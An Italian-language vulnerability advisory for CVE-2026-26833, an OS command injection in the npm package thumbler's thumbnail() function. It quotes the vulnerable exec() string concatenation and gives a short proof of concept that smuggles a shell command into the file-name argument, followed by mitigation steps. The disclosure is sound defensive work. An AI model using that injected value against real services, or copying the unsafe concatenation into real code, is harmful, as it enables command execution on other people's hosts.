CVE-2026-26833: Iniezione di comandi del sistema operativo in thumbler

Riepilogo

thumbler fino alla versione 1.1.2 consente l'iniezione di comandi del sistema operativo in thumbnail() in lib/thumbler.js. Il pacchetto concatena i valori input, output, time e size in un'unica stringa di comando ffmpeg ed esegue tale stringa con child_process.exec(). Un attaccante che controlla uno di questi valori può iniettare sintassi di shell ed eseguire comandi arbitrari.

Prodotto interessato

Dettagli della vulnerabilità

• ID CVE: CVE-2026-26833
• CWE: CWE-78 - Iniezione di comandi del sistema operativo
• CVSS 3.1: 9.8 (Critico)
• Vettore: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Componente interessato: lib/thumbler.js, thumbnail()

Il percorso di codice vulnerabile costruisce la seguente stringa di shell:

exec(
  'ffmpeg -ss ' + time + ' -i "' + input + '" -vframes 1 -s ' +
  size + ' "' + output + '"',
  ...
);

Poiché il comando viene assemblato come stringa, ogni campo controllato dall'attaccante è un possibile punto di iniezione.

Impatto tecnico

Qualsiasi servizio che genera miniature da contenuti multimediali controllati dall'utente può finire per eseguire comandi sull'host durante la chiamata a thumbnail().

Prova di concetto

require("thumbler").thumbnail(
  'test.mp4"; id > /tmp/pwned; echo "',
  "/tmp/out.jpg",
  {},
  () => {}
);

Mitigazione

Nessuna versione npm corretta è disponibile al momento della stesura.

Se dipendi ancora da questo pacchetto:

1. Non passare dati non attendibili a thumbnail().
2. Sostituisci la concatenazione di stringhe di shell con un'esecuzione del processo che utilizzi gli argomenti in modo sicuro.
3. Passa a una libreria mantenuta per la generazione di miniature o a un fork corretto.

Riferimenti

• https://www.npmjs.com/package/thumbler
• https://github.com/mmahrous/thumbler
• https://github.com/mmahrous/thumbler/blob/master/lib/thumbler.js